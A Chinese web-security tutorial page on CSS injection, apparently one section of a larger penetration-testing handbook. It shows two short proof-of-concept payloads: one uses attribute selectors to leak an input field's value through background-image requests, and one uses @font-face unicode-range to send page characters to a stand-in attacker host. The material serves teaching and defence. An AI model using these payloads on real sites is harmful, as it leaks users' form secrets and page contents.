- 目录
- 1. 序章
- 2. 计算机网络与协议
- 3. 信息收集
- 4. 常见漏洞攻防
- 5. 语言与框架
- 6. 内网渗透
- 7. 云安全
- 8. 防御技术
- 9. 认证机制
- 10. 工具与资源
- 11. 手册速查
- 12. 其他
文章来源于网络收集而来,版权归原创者所有,如有侵权请及时联系!
4.2.9.2. CSS 注入
4.2.9.2. CSS 注入
4.2.9.2.1. 基本介绍
CSS注入最早开始于利用CSS中的 expression()
url()
regex()
等函数或特性来引入外部的恶意代码,但是随着浏览器的发展,这种方式被逐渐禁用,与此同时,出现了一些新的攻击方式。
4.2.9.2.2. CSS selectors
<style> #form2 input[value^='a'] { background-image: url(http://localhost/log.php/a); } #form2 input[value^='b'] { background-image: url(http://localhost/log.php/b); } #form2 input[value^='c'] { background-image: url(http://localhost/log.php/c); } [...] </style> <form action="http://example.com" id="form2"> <input type="text" id="secret" name="secret" value="abc"> </form>
上图是利用CSS selectors完成攻击的一个示例
4.2.9.2.3. Abusing Unicode Range
当可以插入CSS的时候,可以使用 font-face
配合 unicode-range
获取目标网页对应字符集。PoC如下
<style> @font-face{ font-family:poc; src: url(http://attacker.example.com/?A); /* fetched */ unicode-range:U+0041; } @font-face{ font-family:poc; src: url(http://attacker.example.com/?B); /* fetched too */ unicode-range:U+0042; } @font-face{ font-family:poc; src: url(http://attacker.example.com/?C); /* not fetched */ unicode-range:U+0043; } #sensitive-information{ font-family:poc; } </style> <p id="sensitive-information">AB</p>
当字符较多时,则可以结合 ::first-line
等CSS属性缩小范围,以获取更精确的内容
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论